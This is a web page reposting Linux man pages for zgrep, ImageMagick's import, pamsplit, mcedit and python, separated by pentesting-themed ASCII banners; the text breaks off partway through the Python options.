               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

179 - Linux cli command zgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zgrep and provides detailed information about the command zgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zgrep.

NAME 🖥️ zgrep 🖥️

search possibly compressed files for a regular expression

SYNOPSIS

zgrep [ grep_options ] [ -e ]* pattern* filename. . .

DESCRIPTION

The zgrep command invokes grep on compressed or gzipped files. All options specified are passed directly to grep. If no file is specified, then the standard input is decompressed if necessary and fed to grep. Otherwise the given files are uncompressed if necessary and fed to grep.

If the GREP environment variable is set, zgrep uses it as the grep program to be invoked.

EXIT STATUS

Exit status is 0 for a match, 1 for no matches, and 2 if trouble.

BUGS

The following grep options are not supported: –dereference-recursive (-R), –directories (-d), –exclude, –exclude-from, –exclude-dir, –include, –null (-Z), –null-data (-z), and –recursive (-r).

AUTHOR

Charles Levert ([email protected])

SEE ALSO

grep(1), gzexe(1), gzip(1), zdiff(1), zforce(1), zmore(1), znew(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

180 - Linux cli command import

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command import and provides detailed information about the command import, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the import.

NAME 🖥️ import 🖥️

saves any visible window on an X server and outputs it as an image file. You can capture a single window, the entire screen, or any rectangular portion of the screen.

SYNOPSIS

import-im6.q16 [options] output-file

OVERVIEW

The import-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to capture some or all of an X server screen and save the image to a file.

For more information about the import command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/import.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/import.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -border include window border in the output image -channel type apply option to select image channels -colorspace type alternate image colorspace -comment string annotate image with comment -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -descend obtain image by descending window hierarchy -display server X server to contact -dispose method layer disposal method -dither method apply error diffusion to image -delay centiseconds display the next image after pausing -encipher filename convert plain pixels to cipher pixels -endian type endianness (MSB or LSB) of the image -encoding type text encoding type -filter type use this filter when resizing an image -format “string” output formatted image characteristics -frame include window manager frame -gravity direction which direction to gravitate towards -identify identify the format and characteristics of the image -interlace type None, Line, Plane, or Partition -interpolate method pixel color interpolation method -label string assign a label to an image -limit type value Area, Disk, Map, or Memory resource limit -monitor monitor progress -page geometry size and location of an image canvas -pause seconds seconds delay between snapshots -pointsize value font point size -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -screen select image from root window -seed value seed a new sequence of pseudo-random numbers -set property value set an image property -silent operate silently, i.e. don’t ring any bells -snaps value number of screen snapshots -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -treedepth value color tree depth -verbose print detailed information about the image -virtual-pixel method Constant, Edge, Mirror, or Tile -window id select window with this id or name

Image Operators: -annotate geometry text annotate the image with text -colors value preferred number of colors in the image -crop geometry preferred size and location of the cropped image -geometry geometry preferred size or location of the image -help print program options -monochrome transform image to black and white -negate replace each pixel with its complementary color -quantize colorspace reduce colors in this colorspace -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -strip strip image of all profiles and comments -thumbnail geometry create a thumbnail of the image -transparent color make this color transparent within the image -trim trim image edges -type type image type

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, ‘file’ is written in the Postscript image format. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

181 - Linux cli command pamsplit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsplit and provides detailed information about the command pamsplit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsplit.

.

NAME 🖥️ pamsplit 🖥️

split a multi-image Netpbm file into single-image files

SYNOPSIS

pamsplit

[netpbmfile

[ output_file_pattern]]

[**-padname=**n]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamsplit reads a PNM or PAM stream as input. It copies each image in the input into a separate file, in the same format.

netpbmfile is the file name of the input file, or - to indicate Standard Input. The default is Standard Input.

output_file_pattern tells how to name the output files. It is the file name of the output file, except that the first occurrence of “%d” in it is replaced by the image sequence number in unpadded ASCII decimal, with the sequence starting at 0. If there is no “%d” in the pattern, pamsplit fails.

The default output file pattern is “image%d”.

The -padname option specifies how many characters you want the image sequence number in the output file name padded with zeroes. pamsplit adds leading zeroes to the image sequence number to get up to at least that number of characters. This is just the number of characters in the sequence number part of the name. For example, pamsplit - outputfile%d.ppm -padname=3 would yield output filenames outputfile000.ppm, outputfile001.ppm, etc.

Note that to do the reverse operation (combining multiple single-image Netpbm files into a multi-image one), there is no special Netpbm program. Just use cat.

If you just want to find out basic information about the images in a stream, you can use pamfile on the stream.

To extract images from a stream and generate a single stream containing them, use pampick.

To run a program on each image in a stream without the hassle of temporary files, use pamexec.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamsplit recognizes the following command line option:

**-padname=**n
Specify the width (i.e. number of digits) of the image sequence number field in the filenames of the output files. The image sequence will be padded with leading zeroes to achieve the stated width.

The default is no padding (equivalent to -padname=0).

The -padname option was new in Netpbm 10.23 (July 2004). Before that, there was never any padding.

SEE ALSO

pamfile(1) , pampick(1) , pamexec(1) , pnm(1) , pam(1) , cat man page

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsplit.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

182 - Linux cli command mcedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mcedit and provides detailed information about the command mcedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mcedit.

NAME 🖥️ mcedit 🖥️

Internal file editor of GNU Midnight Commander.

SYNOPSIS

mcedit [-bcCdfhstVx?] [+lineno] [file1] [file2] …

mcedit [-bcCdfhstVx?] file1:lineno[:] file2:lineno[:] …

DESCRIPTION

mcedit is a link to mc, the main GNU Midnight Commander executable. Executing GNU Midnight Commander under this name runs the internal editor and opens files specified on the command line. The editor is based on the terminal version of cooledit - standalone editor for X Window System.

OPTIONS

+lineno
Go to the line specified by number (do not put a space between the + sign and the number). Several line numbers are allowed but only the last one will be used, and it will be applied to the first file only.

-b
Force black and white display.

-c
Force ANSI color mode on terminals that don’t seem to have color support.

-C <keyword>=<fgcolor>,<bgcolor>,<attributes>:<keyword>= …
Specify a different color set. See the Colors section in mc(1) for more information.

-d
Disable mouse support.

-f
Display the compiled-in search path for GNU Midnight Commander data files.

-t
Force using termcap database instead of terminfo. This option is only applicable if GNU Midnight Commander was compiled with S-Lang library with terminfo support.

-V
Display the version of the program.

-x
Force xterm mode. Used when running on xterm-capable terminals (two screen modes, and able to send mouse escape sequences).

FEATURES

The internal file editor is a full-featured windowed editor. It can edit several files at the same time. Maximum size of each file is 64 megabytes. It is possible to edit binary files. The features it presently supports are: block copy, move, delete, cut, paste; key for key undo; pull-down menus; file insertion; macro commands; regular expression search and replace; shift-arrow text highlighting (if supported by the terminal); insert-overwrite toggle; autoindent; tunable tab size; syntax highlighting for various file types; and an option to pipe text blocks through shell commands like indent and ispell.

Each file is opened in its own window in full-screen mode. Window control in mcedit is similar to the window control in other multi-window program: double click on window title maximizes the window to full-screen or restores window size and position; left-click on window title and mouse drag moves the window in editor area; left-click on low-right frame corner and mouse drag resizes the window. These actions can be made using “Window” menu.

KEYS

The editor is easy to use and can be used without learning. The pull-down menu is invoked by pressing F9. You can learn other keys from the menu and from the button bar labels.

In addition to that, Shift combined with arrows does text highlighting (if supported by the terminal): Ctrl-Ins copies to the file ~/.cache/mc/mcedit/mcedit.clip, Shift-Ins pastes from ~/.cache/mc/mcedit/mcedit.clip, Shift-Del cuts to ~/.cache/mc/mcedit/mcedit.clip, and Ctrl-Del deletes highlighted text. Mouse highlighting also works on some terminals. To use the standard mouse support provided by your terminal, hold the Shift key. Please note that the mouse support in the terminal doesn’t share the clipboard with mcedit.

The completion key (usually Meta-Tab or Escape Tab) completes the word under the cursor using the words used in the file.

MACRO

To define a macro, press Ctrl-R and then type out the keys you want to be executed. Press Ctrl-R again when finished. The macro can be assigned to any key by pressing that key. The macro is executed when you press the assigned key.

The macro commands are stored in section [editor] it the file ~/.local/share/mc/mc.macros.

External scripts (filters) can be assigned into the any hotkey by edit mc.macros like following:

[editor]
ctrl-W=ExecuteScript:25;

This means that ctrl-W hotkey initiates the ExecuteScript(25) action, then editor handler translates this into execution of ~/.local/share/mc/mcedit/macros.d/macro.25.sh shell script.

External scripts are stored in ~/.local/share/mc/mcedit/macros.d/ directory and must be named as macro.XXXX.sh where XXXX is the number from 0 to 9999. See Edit Menu File for more detail about format of the script.

Following macro definition and directives can be used:

#silent
If this directive is set, then script starts without interactive subshell.

%c
The cursor column position number.

%i
The indent of blank space, equal the cursor column.

%y
The syntax type of current file.

%b
The block file name.

%f
The current file name.

%n
Only the current file name without extension.

%x
The extension of current file name.

%d
The current directory name.

%F
The current file in the unselected panel.

%D
The directory name of the unselected panel.

%t
The currently tagged files.

%T
The tagged files in the unselected panel.

%u and %U
Similar to the %t and %T macros, but in addition the files are untagged. You can use this macro only once per menu file entry or extension file entry, because next time there will be no tagged files.

%s and %S
The selected files: The tagged files if there are any. Otherwise the current file.

Feel free to edit this files, if you need. Here is a sample external script:

l       comment selection
	TMPFILE=`mktemp ${MC_TMPDIR:-/tmp}/up.XXXXXX` || exit 1
	echo #if 0 > $TMPFILE
	cat %b >> $TMPFILE
	echo #endif >> $TMPFILE
	cat $TMPFILE > %b
	rm -f $TMPFILE

If some keys don’t work, you can use Learn Keys in the Options menu.

CODE NAVIGATION

mcedit can be used for navigation through code with tags files created by etags or ctags commands. If there is no TAGS file code navigation will not work. For example, in case of exuberant-ctags for C language command will be:

ctags -e –language-force=C -R ./

Meta-Enter shows list box to select item under cursor (cursor should stand at the end of the word).

Meta-Minus where minus is symbol “-” goes to previous function in navigation list (like browser’s Back button).

Meta-Equal where equal is symbol “=” goes to next function in navigation list (like browser’s Forward button).

SYNTAX HIGHLIGHTING

mcedit supports syntax highlighting. This means that keywords and contexts (like C comments, string constants, etc) are highlighted in different colors. The following section explains the format of the file ~/.local/share/mc/syntax/Syntax. If this file is missing, system-wide /usr/share/mc/syntax/Syntax is used. The file ~/.local/share/mc/syntax/Syntax is rescanned on opening of every new editor file. The file contains rules for highlighting, each of which is given on a separate line, and define which keywords will be highlighted with what color.

The file is divided into sections, each beginning with a line with the file command. The sections are normally put into separate files using the include command.

The file command has three arguments. The first argument is a regular expression that is applied to the file name to determine if the following section applies to the file. The second argument is the description of the file type. It is used in cooledit; future versions of mcedit may use it as well. The third optional argument is a regular expression to match the first line of text of the file. The rules in the following section apply if either the file name or the first line of text matches.

A section ends with the start of another section. Each section is divided into contexts, and each context contains rules. A context is a scope within the text that a particular set of rules belongs to. For instance, the text within a C style comment (i.e. between /* and */) has its own color. This is a context, although it has no further rules inside it because there is probably nothing that we want highlighted within a C comment.

A trivial C programming section might look like this:

file .\*\.c C\sProgram\sFile (#include|/\\*)

wholechars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_

# default colors
define  comment   brown
context default
  keyword  whole  if       yellow
  keyword  whole  else     yellow
  keyword  whole  for      yellow
  keyword  whole  while    yellow
  keyword  whole  do       yellow
  keyword  whole  switch   yellow
  keyword  whole  case     yellow
  keyword  whole  static   yellow
  keyword  whole  extern   yellow
  keyword         {        brightcyan
  keyword         }        brightcyan
  keyword         '*'      green

# C comments
context /\* \*/ comment

# C preprocessor directives
context linestart # 

red keyword
brightred

# C string constants
context " " green
  keyword  %d    brightgreen
  keyword  %s    brightgreen
  keyword  %c    brightgreen
  keyword  \"   brightgreen

Each context starts with a line of the form:

context [exclusive] [whole|wholeright|wholeleft] [linestart] delim [linestart] delim [foreground] [background] [attributes]

The first context is an exception. It must start with the command

context default [foreground] [background] [attributes]

otherwise mcedit will report an error. The linestart option specifies that delim must start at the beginning of a line. The whole option tells that delim must be a whole word. To specify that a word must begin on the word boundary only on the left side, you can use the wholeleft option, and similarly a word that must end on the word boundary is specified by wholeright.

The set of characters that constitute a whole word can be changed at any point in the file with the wholechars command. The left and right set of characters can be set separately with

wholechars [left|right] characters

The exclusive option causes the text between the delimiters to be highlighted, but not the delimiters themselves.

Each rule is a line of the form:

keyword [whole|wholeright|wholeleft] [linestart] string foreground [background] [attributes]

Context or keyword strings are interpreted, so that you can include tabs and spaces with the sequences and \s. Newlines and backslashes are specified with and \ respectively. Since whitespace is used as a separator, it may not be used as is. Also, \ must be used to specify an asterisk. The * itself is a wildcard that matches any length of characters. For example,

  keyword         '*'      green

colors all C single character constants green. You also could use

  keyword         "*"      green

to color string constants, but the matched string would not be allowed to span across multiple newlines. The wildcard may be used within context delimiters as well, but you cannot have a wildcard as the last or first character.

Important to note is the line

  keyword  \

brightgreen

This line defines a keyword containing the backslash and newline characters. Since the keywords are matched before the context delimiters, this keyword prevents the context from ending at the end of the lines that end in a backslash, thus allowing C preprocessor directive to continue across multiple lines.

The possible colors are: black, gray, red, brightred, green, brightgreen, brown, yellow, blue, brightblue, magenta, brightmagenta, cyan, brightcyan, lightgray and white. The special keyword “default” means the terminal’s default. Another special keyword “base” means mc’s main colors, it is useful as a placeholder if you want to specify attributes without modifying the background color. When 256 colors are available, they can be specified either as color16 to color255, or as rgb000 to rgb555 and gray0 to gray23.

If the syntax file is shared with cooledit, it is possible to specify different colors for mcedit and cooledit by separating them with a slash, e.g.

keyword  #include  red/Orange

mcedit uses the color before the slash. See cooledit(1) for supported cooledit colors.

Attributes can be any of bold, italic, underline, reverse and blink, appended by a plus sign if more than one are desired.

Comments may be put on a separate line starting with the hash sign (#).

If you are describing case insensitive language you need to use caseinsensitive directive. It should be specified at the beginning of syntax file.

Because of the simplicity of the implementation, there are a few intricacies that will not be dealt with correctly but these are a minor irritation. On the whole, a broad spectrum of quite complicated situations are handled with these simple rules. It is a good idea to take a look at the syntax file to see some of the nifty tricks you can do with a little imagination. If you cannot get by with the rules I have coded, and you think you have a rule that would be useful, please email me with your request. However, do not ask for regular expression support, because this is flatly impossible.

A useful hint is to work with as much as possible with the things you can do rather than try to do things that this implementation cannot deal with. Also remember that the aim of syntax highlighting is to make programming less prone to error, not to make code look pretty.

The syntax highlighting can be toggled using Ctrl-s shortcut.

COLORS

The default colors may be changed by appending to the MC_COLOR_TABLE environment variable. Foreground and background colors pairs may be specified for example with:

MC_COLOR_TABLE="$MC_COLOR_TABLE:\
editnormal=lightgray,black:\
editbold=yellow,black:\
editmarked=black,cyan"

OPTIONS

Most options can be set from Options dialog box. See the Options menu. The following options are defined in ~/.config/mc/ini and have obvious counterparts in the dialog box. You can modify them to change the editor behavior, by editing the file. Unless specified, a 1 sets the option to on, and a 0 sets it to off, as usual.

use_internal_edit
This option is ignored when invoking mcedit.

editor_tab_spacing
Interpret the tab character as being of this length. Default is 8. You should avoid using other than 8 since most other editors and text viewers assume a tab spacing of 8. Use editor_fake_half_tabs to simulate a smaller tab spacing.

editor_fill_tabs_with_spaces
Never insert a tab character. Rather insert spaces (ascii 32) to fill to the desired tab size.

editor_return_does_auto_indent
Pressing return will tab across to match the indentation of the first line above that has text on it.

editor_backspace_through_tabs
Make a single backspace delete all the space to the left margin if there is no text between the cursor and the left margin.

editor_fake_half_tabs
This will emulate a half tab for those who want to program with a tab spacing of 4, but do not want the tab size changed from 8 (so that the code will be formatted the same when displayed by other programs). When editing between text and the left margin, moving and tabbing will be as though a tab space were 4, while actually using spaces and normal tabs for an optimal fill. When editing anywhere else, a normal tab is inserted.

editor_option_save_mode
Possible values 0, 1 and 2. The save mode (see the options menu also) allows you to change the method of saving a file. Quick save (0) saves the file immediately, truncating the disk file to zero length (i.e. erasing it) and then writing the editor contents to the file. This method is fast, but dangerous, since a system error during a file save will leave the file only partially written, possibly rendering the data irretrievable. When saving, the safe save (1) option enables creation of a temporary file into which the file contents are first written. In the event of a problem, the original file is untouched. When the temporary file is successfully written, it is renamed to the name of the original file, thus replacing it. The safest method is create backups (2): a backup file is created before any changes are made. You can specify your own backup file extension in the dialog. Note that saving twice will replace your backup as well as your original file.

editor_word_wrap_line_length
Line length to wrap at. Default is 72.

editor_backup_extension
Symbol to add to name of backup files. Default is “~”.

editor_line_state
Show state line of editor. Currently it shows current line number (in the future it might show things like folding, breakpoints, etc.). M-n toggles this option.

editor_visible_spaces
Toggle “show visible trailing spaces”. If editor_visible_spaces=1, they are shown as ‘.’

editor_visible_tabs
Toggle “show visible tabs”. If editor_visible_tabs=1, tabs are shown as ‘<—->’

editor_persistent_selections
Do not remove block selection after cursor movement.

editor_drop_selection_on_copy
Reset selection after copy to clipboard.

editor_cursor_beyond_eol
Allow moving cursor beyond the end of line.

editor_cursor_after_inserted_block
Allow moving cursor after inserted block.

editor_syntax_highlighting
enable syntax highlighting.

editor_edit_confirm_save
Show confirmation dialog on save.

editor_option_typewriter_wrap
to be described

editor_option_auto_para_formatting
to be described

editor_option_save_position
Save file position on exit.

source_codepage
Symbol representation of codepage name for file (i.e. CP1251, ~ - default).

editor_group_undo
Combine UNDO actions for several of the same type of action (inserting/overwriting, deleting, navigating, typing)

editor_wordcompletion_collect_entire_file
Search autocomplete candidates in entire file (1) or just from beginning of file to cursor position (0).

editor_wordcompletion_collect_all_files
Search autocomplete candidates from all loaded files (1, default), not only from the currently edited one (0).

spell_language
Spelling language (en, en-variant_0, ru, etc) installed with aspell package (a full list can be obtained using ‘aspell’ utility). Use spell_language = NONE to disable aspell support. Default value is ’en’. Option must be located in the [Misc] section.

editor_stop_format_chars
Set of characters to stop paragraph formatting. If one of those characters is found in the beginning of line, that line and all following lines of paragraph will be untouched. Default value is “-+*,.;:&>”.

editor_state_full_filename
Show full path name in the status line. If disabled, only base name of the file is shown.

MISCELLANEOUS

The editor also displays non-us characters (160+). When editing binary files, you should set display bits to 7 bits in Midnight Commander’s options menu to keep the spacing clean.

FILES

/usr/share/mc/help/mc.hlp

The help file for the program.

/usr/share/mc/mc.ini

The default system-wide setup for GNU Midnight Commander, used only if the user’s own ~/.config/mc/ini file is missing.

/usr/share/mc/mc.lib

Global settings for Midnight Commander. Settings in this file affect all users, whether they have ~/.config/mc/ini or not.

/usr/share/mc/syntax/*

The default system-wide syntax files for mcedit, used only if the corresponding user’s own file in ~/.local/share/mc/syntax/ is missing.

~/.config/mc/ini

User’s own setup. If this file is present then the setup is loaded from here instead of the system-wide setup file.

~/.local/share/mc/mcedit/

User’s own directory where block commands are processed and saved and user’s own syntax files are located.

LICENSE

This program is distributed under the terms of the GNU General Public License as published by the Free Software Foundation. See the built-in help of Midnight Commander for details on the License and the lack of warranty.

AVAILABILITY

The latest version of this program can be found at http://ftp.midnight-commander.org/.

SEE ALSO

cooledit(1), mc(1), gpm(1), terminfo(1), scanf(3).

AUTHORS

Paul Sheer ([email protected]) is the original author of Midnight Commander’s internal editor.

BUGS

Bugs should be reported to https://www.midnight-commander.org/.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

183 - Linux cli command python31

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python31 and provides detailed information about the command python31, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python31.

NAME 🖥️ python31 🖥️

an interpreted, interactive, object-oriented programming language

SYNOPSIS

python [ -B ] [ -b ] [ -d ] [ -E ] [ -h ] [ -i ] [ -I ]
[ -m module-name ] [ -q ] [ -O ] [ -OO ] [ -P ] [ -s ] [ -S ] [ -u ]
[ -v ] [ -V ] [ -W argument ] [ -x ] [ -X option ] [ -? ]
[ –check-hash-based-pycs default | always | never ]
[ –help ] [ –help-env ] [ –help-xoptions ] [ –help-all ]
[ -c command | script | - ] [ arguments ]

DESCRIPTION

Python is an interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax. For an introduction to programming in Python, see the Python Tutorial. The Python Library Reference documents built-in and standard types, constants, functions and modules. Finally, the Python Reference Manual describes the syntax and semantics of the core language in (perhaps too) much detail. (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

Python’s basic power can be extended with your own modules written in C or C++. On most systems such modules may be dynamically loaded. Python is also adaptable as an extension language for existing applications. See the internal documentation for hints.

Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS

-B
Don’t write .pyc files on import. See also PYTHONDONTWRITEBYTECODE.

-b
Issue warnings about str(bytes_instance), str(bytearray_instance) and comparing bytes/bytearray with str. (-bb: issue errors)

**-c **command
Specify the command to execute (see next section). This terminates the option list (following options are passed as arguments to the command).

**–check-hash-based-pycs **mode
Configure how Python evaluates the up-to-dateness of hash-based .pyc files.

-d
Turn on parser debugging output (for expert only, depending on compilation options).

-E
Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

-h , -? , –help
Prints the usage for the interpreter executable and exits.

–help-env
Prints help about Python-specific environment variables and exits.

–help-xoptions
Prints help about implementation-specific -X options and exits.

–help-all
Prints complete usage information and exits.

-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command. It does not read the $PYTHONSTARTUP file. This can be useful to inspect global variables or a stack trace when a script raises an exception.

-I
Run Python in isolated mode. This also implies -E, -P and -s. In isolated mode sys.path contains neither the script’s directory nor the user’s site-packages directory. All PYTHON* environment variables are ignored, too. Further restrictions may be imposed to prevent the user from injecting malicious code.

**-m **module-name
Searches sys.path for the named module and runs the corresponding .py file as a script. This terminates the option list (following options are passed as arguments to the module).

-O
Remove assert statements and any code conditional on the value of __debug__; augment the filename for compiled (bytecode) files by adding .opt-1 before the .pyc extension.

-OO
Do -O and also discard docstrings; change the filename for compiled (bytecode) files by adding .opt-2 before the .pyc extension.

-P
Don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the PYTHONSAFEPATH environment variable.

-q
Do not print the version and copyright messages. These messages are also suppressed in non-interactive mode.

-s
Don’t add user site directory to sys.path.

-S
Disable the import of the module site and the site-dependent manipulations of sys.path that it entails. Also disable these manipulations if site is explicitly imported later.

-u
Force the stdout and stderr streams to be unbuffered. This option has no effect on the stdin stream.

-v
Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded. When given twice, print a message for each file that is checked for when searching for a module. Also provides information on module cleanup at exit.

-V , –version
Prints the Python version number of the executable and exits. When given twice, print more information about the build.

**-W **argument
Warning control. Python’s warning machinery by default prints warning messages to sys.stderr.

The simplest settings apply a particular action unconditionally to all warnings emitted by a process (even those that are otherwise ignored by default):

-Wdefault # Warn once per call location -Werror # Convert to exceptions -Walways # Warn every time -Wmodule # Warn once per calling module -Wonce # Warn once per Python process -Wignore # Never warn

The action names can be abbreviated as desired and the interpreter will resolve them to the appropriate action name. For example, -Wi is the same as -Wignore .

The full form of argument is: action:message:category:module:lineno

Empty fields match all values; trailing empty fields may be omitted. For example -W ignore::DeprecationWarning ignores all DeprecationWarning warnings.

The action field is as explained above but only applies to warnings that match the remaining fields.

The message field must match the whole printed warning message; this match is case-insensitive.

The category field matches the warning category (ex: “DeprecationWarning”). This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category.

The module field matches the (fully-qualified) module name; this match is case-sensitive.

The lineno field matches the line number, where zero matches all line numbers and is thus equivalent to an omitted line number.

Multiple -W options can be given; when a warning matches more than one option, the action for the last matching option is performed. Invalid -W options are ignored (though, a warning message is printed about invalid options when the first warning is issued).

Warnings can also be controlled using the PYTHONWARNINGS environment variable and from within a Python program using the warnings module. For example, the warnings.filterwarnings() function can be used to use a regular expression on the warning message.

**-X **option
Set implementation-specific option. The following options are available:

-X faulthandler: enable faulthandler

-X showrefcount: output the total reference count and number of used memory blocks when the program finishes or after each statement in the interactive interpreter. This only works on debug builds

-X tracemalloc: start tracing Python memory allocations using the tracemalloc module. By default, only the most recent frame is stored in a traceback of a trace. Use -X tracemalloc=NFRAME to start tracing with a traceback limit of NFRAME frames

-X importtime: show how long each import takes. It shows module name, cumulative time (including nested imports) and self time (excluding nested imports). Note that its output may be broken in multi-threaded application. Typical usage is python3 -X importtime -c ‘import asyncio’

